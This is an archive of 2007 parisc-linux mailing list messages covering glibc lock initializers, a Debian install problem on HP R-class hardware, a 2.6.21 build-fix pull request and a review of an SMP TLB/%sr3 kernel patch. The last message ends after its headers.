List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: j7e2CBhzbHIy4q3NNjQ0MSUqJihyahAU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24398

--===============0065797075==
Content-Type: multipart/signed; boundary="nextPart26664061.BdoMTrDk5b";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart26664061.BdoMTrDk5b
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Thursday 22 February 2007, Roland McGrath wrote:
> > All statically initialized locks are broken. We made locks smaller,
> > and changed the value of the static initialization.
>
> Smaller?  Smaller is easy.  And you didn't actually reduce
> __SIZEOF_PTHREAD_MUTEX_T, did you?  This seems like it would not be at all
> hard to accommodate just with symbol versioning and not break any
> compatibility.  Off hand, it seems like it would be some simple code in o=
ne
> new file in your sysdeps/ tree and a smattering of sysdeps Versions files.

how can you do symbol versioning on static initializers ?  the initialized=
=20
value is compiled into the .data sections of the actual binary ...

hmm ... do you mean we retain the pthread code that uses the old locking=20
methods and create all the new code with glibc-2.6 symbol versions ?
=2Dmike

--nextPart26664061.BdoMTrDk5b
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.2 (GNU/Linux)

iQIVAwUARd7UD0FjO5/oN/WBAQLpFRAAl50AUlZe+u71ZQJ37JhAHxFsNbBJ2nD0
/1Bwfe94oAhAS1ML/h/ORv0JqmqhEHIC55+JMyrydqQxI+CUcCfQhQOPDmhfCfGx
COlQy36JvfotFDUoVLkQtqrj69XaM2omcn1gEwL4v/2uitPqz99KORq16d78o9tE
MLNhXUFxK0CLnCCq5nRyeFT3ydeFpFxrpKatpBssg7ZflkTMMIv797hZhRGoDCLm
xdvKYvjxaEGHKr5i3E+jxjk9p83arwZaQ+wsA/QZrNUGvnAT4bTQRHw6rKlFdniy
LXPt60xnidht+4Y7BKv04+D6iJbGJL1vfP5f7xN8XuxeRHtNn5MVhcy//Bx+kej9
iYUMPu4rTd+WgYuteV8m+yZ04PFM7xHuoozQVEEl3MdrRqf8vOw+JzEXRm/Qpr+q
5OL46cafUIFKip6xRregKun/I4VWOx+pwFmSJbZjS6YvgYqLMw9IDB1d0Dz4hX5E
JdZ4c5DAzcQNA7dph21770RaGBpB9GoTUpIUYkPIdQ/rZzp3D3X/bUjfAVFEXS2H
leLY6tEdbQH3plEspYtMkou6KAdk/ieZQL1qfJ7R+flAHjACZzzy8FmXR+SSUWsp
jCEZ/u63RtyYe1VXlWfETItmvCUPPuSck8ugz17GMiYC+F6FFswb6w+uKasVkdqI
VWixJCmg0fA=
=lQS1
-----END PGP SIGNATURE-----

--nextPart26664061.BdoMTrDk5b--

--===============0065797075==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0065797075==--



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: problem installing Debian on HP R class 9000
Date: Mon, 26 Feb 2007 18:36:03 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20070227013603.GA7420__21538.8568271466$1416624313$gmane$org@colo.lackof.org>
References: <b74751490702220323o3b3d78a9u14b024a75341c986@mail.gmail.com>
	<b74751490702260642i4b1a2538rd384e280e0a24622@mail.gmail.com>
	<20070226165018.GB30763@colo.lackof.org>
	<b74751490702260950i6ed5ef98g219297ad504672fb@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624313 23069 80.91.229.3 (22 Nov 2014 02:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ram <talk2ram@gmail.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Feb 2007 01:36:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 27 Feb 2007 02:36:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA24A7DAF7;
	Mon, 26 Feb 2007 18:36:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01166-09; Mon, 26 Feb 2007 18:36:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9FDE7DAF8;
	Mon, 26 Feb 2007 18:36:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F7837DAEF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 18:36:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01177-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 18:36:11 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5298C7DA66
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 18:36:11 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A6D75368415;
	Mon, 26 Feb 2007 18:36:10 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09231-01; Mon, 26 Feb 2007 18:36:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DF356298063; Mon, 26 Feb 2007 18:36:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <b74751490702260950i6ed5ef98g219297ad504672fb@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WP6CIY0Pa0Ao4b6aejEzHnY3Njh6dI5G
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24399

On Mon, Feb 26, 2007 at 11:20:50PM +0530, ram wrote:
> >Yeah, this is a known problem. Current workaround is to hack the
> >ccio driver to increase the minimum amount of IOVA space allocated.
> >
> >We need to make this a kernel parameter.
> 
> 
> 
> Hi
> 
> thanks for the quick reply
> can you suggest me some document
> how can i hack the code make my HP R class work with debian

This would require you build your own kernel and integrate it
into the installer. My understanding was Kyle McMartin was
going to do that. Please wait until he can provide an installer
image for you to test.

In general, I haven't looked at our build process in a while.
You can take a look at the "Developer Resources" links at the bottom
of the www.parisc-linux.org navigation bar. The "Build Kernel"
is the most recent one....and it looks stale since it refers
to CVS (which we stopped using about 8 monthes ago).
Use "git" instructions to get kernel source and then follow
the rest of the instructions if you still wish to build
your own kernel.

hth,
grant

> 
> any suggestions or readings
> 
> ram
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [git patches] parisc build fixes for 2.6.21
Date: Mon, 26 Feb 2007 22:32:01 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20070227033201.GA13669__43007.6698809446$1416624313$gmane$org@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624313 23073 80.91.229.3 (22 Nov 2014 02:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:13 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: torvalds@osdl.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Feb 2007 03:32:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 27 Feb 2007 04:32:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F01E57DB11;
	Mon, 26 Feb 2007 20:32:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01880-08; Mon, 26 Feb 2007 20:32:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E2557DB15;
	Mon, 26 Feb 2007 20:32:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F39B87DB0D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 20:32:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01880-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 20:32:14 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 46D367DB0C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 20:32:14 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0529F5840BD;
	Mon, 26 Feb 2007 22:32:13 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6B7985840BC;
	Mon, 26 Feb 2007 22:32:12 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 170AE837DC;
	Mon, 26 Feb 2007 22:32:12 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 101563B06E; Mon, 26 Feb 2007 22:32:01 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e5DWdJcGbUkosOnGPWgncy9kZ2hlN4rP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24400

Build fixes for 2.6.21, should be nothing objectionable here.

The following changes since commit c68644d3304d217d50b8f0a179d4aa7e5a85a5bc:
  Ralf Baechle (1):
        [MIPS] Make SMTC_IDLE_HOOK_DEBUG a proper option in Kconfig.debug.

are found in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.git

Kyle McMartin (6):
      [PARISC] Remove __read_mostly annotation from command_line
      [PARISC] clocksource_cr16: Use clocksource_change_rating()
      [PARISC] time: Convert clocksource is_continuous to flag
      [PARISC] time: clocksource lost update_callback
      [PARISC] parisc-agp: Fix thinko const-ifying
      [PARISC] clocksource: Move update_cr16_clocksource later in boot

 arch/parisc/kernel/processor.c |    8 ++++++++
 arch/parisc/kernel/setup.c     |    2 +-
 arch/parisc/kernel/time.c      |   18 ++++++++++--------
 drivers/char/agp/parisc-agp.c  |    2 +-
 4 files changed, 20 insertions(+), 10 deletions(-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sat, 24 Feb 2007 17:46:03 -0700
Lines: 119
Approved: news@gmane.org
Message-ID: <20070225004603.GB18944__32250.8928984918$1416624313$gmane$org@colo.lackof.org>
References: <1172328689.3401.3.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624313 23075 80.91.229.3 (22 Nov 2014 02:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:13 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2007 00:46:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 25 Feb 2007 01:46:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4868D7DA70;
	Sat, 24 Feb 2007 17:46:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06631-06; Sat, 24 Feb 2007 17:46:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 131F17DA72;
	Sat, 24 Feb 2007 17:46:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9C177DA6D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 17:46:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06543-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 17:46:11 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E06A97DA6C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 17:46:10 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 507C83680FB;
	Sat, 24 Feb 2007 17:46:10 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30784-05; Sat, 24 Feb 2007 17:46:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 560D73680E6; Sat, 24 Feb 2007 17:46:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1172328689.3401.3.camel@mulgrave.il.steeleye.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a+7SdtNZPTRts+jGPjIwt7cxc2tpZEvA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24401

On Sat, Feb 24, 2007 at 08:51:29AM -0600, James Bottomley wrote:
> Since we're now changing the %sr3 from an IPI, we have to be careful
> about other places in the kernel where we're using temporary values in %
> sr3.

Isn't sr3 part of the context?
ie if we need to change the sr3 for a given context shouldn't
the code be modifying the value in the struct context instead
the actual register unless we know we are in that context?
The IPI code should know the sr3 was saved and where.

The change to assembly.h has me very nervous since I don't understand it.
You probably have it right and I'm being a bit dense.

I was trying to track down other uses of "mtsp sr3" and schedule()
seems to be one:
	schedule() -> context_switch() -> switch_mm() -> load_context()

I'm not seeing where this path disables local interrupts.
Sounds like it should before calling load_context() or we should
in our switch_mm() or add a prepare_arch_switch() to asm-parisc/system.h.

>   As far as I can tell, this is pretty much only non local cache
> flushing.

ISTR copy and one or two other places use sr3 as well.

> The following patch fixes the IPI to work (by not saving %sr3
> across an interruption) and patches up temporary %sr3 usage.
> 
> The sharp eyed will also notice I've corrected a Protection ID bug with
> the non current flushes.

That's not me :)
Was the fix to place "pgd = mfctl(25)" after the local_irq_disable()?

thanks,
grant

> 
> Signed-off-by: James Bottomley <James.Bottomley@SteelEye.com>
> 
> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
> index 00b1641..cb1dd17 100644
> --- a/arch/parisc/kernel/cache.c
> +++ b/arch/parisc/kernel/cache.c
> @@ -303,25 +303,28 @@ flush_user_cache_page_non_current(struct vm_area_struct *vma,
>  				  unsigned long vmaddr)
>  {
>  	/* save the current process space and pgd */
> -	unsigned long space = mfsp(3), pgd = mfctl(25);
> +	unsigned long space, pgd;
>  
> -	/* we don't mind taking interrups since they may not
> -	 * do anything with user space, but we can't
> -	 * be preempted here */
> -	preempt_disable();
> +	/* Have to disable interrupts here, since now %sr3 changes
> +	 * are carried by IPI and we can't have that happen while
> +	 * we're using a temporary %sr3 */
> +	local_irq_disable();
> +
> +	space = mfsp(3);
> +	pgd = mfctl(25);
>  
>  	/* make us current */
>  	mtctl(__pa(vma->vm_mm->pgd), 25);
> -	mtsp(vma->vm_mm->context, 3);
> +	load_context(vma->vm_mm->context);
>  
>  	flush_user_dcache_page(vmaddr);
>  	if(vma->vm_flags & VM_EXEC)
>  		flush_user_icache_page(vmaddr);
>  
>  	/* put the old current process back */
> -	mtsp(space, 3);
> +	load_context(space);
>  	mtctl(pgd, 25);
> -	preempt_enable();
> +	local_irq_enable();
>  }
>  
>  
> diff --git a/include/asm-parisc/assembly.h b/include/asm-parisc/assembly.h
> index 5587f00..efe9ebc 100644
> --- a/include/asm-parisc/assembly.h
> +++ b/include/asm-parisc/assembly.h
> @@ -435,7 +435,8 @@
>  	SAVE_SP  (%sr0, PT_SR0 (\regs))
>  	SAVE_SP  (%sr1, PT_SR1 (\regs))
>  	SAVE_SP  (%sr2, PT_SR2 (\regs))
> -	SAVE_SP  (%sr3, PT_SR3 (\regs))
> +; Can't save and restore %sr3, it may be update from IPI
> +;	SAVE_SP  (%sr3, PT_SR3 (\regs))
>  	SAVE_SP  (%sr4, PT_SR4 (\regs))
>  	SAVE_SP  (%sr5, PT_SR5 (\regs))
>  	SAVE_SP  (%sr6, PT_SR6 (\regs))
> @@ -475,7 +476,8 @@
>  	REST_SP  (%sr0, PT_SR0 (\regs))
>  	REST_SP  (%sr1, PT_SR1 (\regs))
>  	REST_SP  (%sr2, PT_SR2 (\regs))
> -	REST_SP  (%sr3, PT_SR3 (\regs))
> +; Can't save and restore %sr3, it may be updated from IPI
> +;	REST_SP  (%sr3, PT_SR3 (\regs))
>  	REST_SP  (%sr4, PT_SR4 (\regs))
>  	REST_SP  (%sr5, PT_SR5 (\regs))
>  	REST_SP  (%sr6, PT_SR6 (\regs))
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ram <talk2ram@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [git patches] parisc build fixes for 2.6.21
Date: Tue, 27 Feb 2007 18:59:02 +0530
Lines: 76
Approved: news@gmane.org
Message-ID: <b74751490702270529r17e9ef27j4b3717cea351c39c__47916.3183285438$1416624313$gmane$org@mail.gmail.com>
References: <20070227033201.GA13669@athena.road.mcmartin.ca>
	<b74751490702270222l194eba13sd797c2b5e208829@mail.gmail.com>
	<20070227131625.GB3545@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0047801297=="
X-Trace: ger.gmane.org 1416624313 23078 80.91.229.3 (22 Nov 2014 02:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Feb 2007 13:29:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 27 Feb 2007 14:29:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2C467DB38;
	Tue, 27 Feb 2007 06:29:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05545-08; Tue, 27 Feb 2007 06:29:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C0C27DB3A;
	Tue, 27 Feb 2007 06:29:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74FEB7DB36
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Feb 2007 06:29:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05545-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Feb 2007 06:29:03 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.235])
	by free.linux.hp.com (Postfix) with ESMTP id ADCE17DAEE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Feb 2007 06:29:03 -0700 (MST)
Original-Received: by wr-out-0506.google.com with SMTP id 37so1373174wra
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Feb 2007 05:29:03 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=Yve5hGtbtBrZiX+UnomATJsNcThtnyap/YcWvAcShOIrpdzuY02TaLWzNUQ8ygZQr4f1HtxqXcPZO5HrUCi+aAo68vxhAXUtyyWLV8wjjT8KBDhDTPl1XVameEEMyeRXJhk9XhpHLBll7lzVBhbbcXZphOqEj6BBhlObS6n3HdY=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=e/kbj6d1gArKymAIQj69TwUt3Ti/xAi87kMxgmluAkOSBF7KnY+OAHy1GEA3NXM+wOpfahByr1KmNiBMPgYJ04bl0u0mWTcruDERu5puJ7OPLEIXqL7P6ahMnIH9HEgHaU/3DuBDDLltACvxO3oCszgXxnQoWR9qd4LWaTnP0H8=
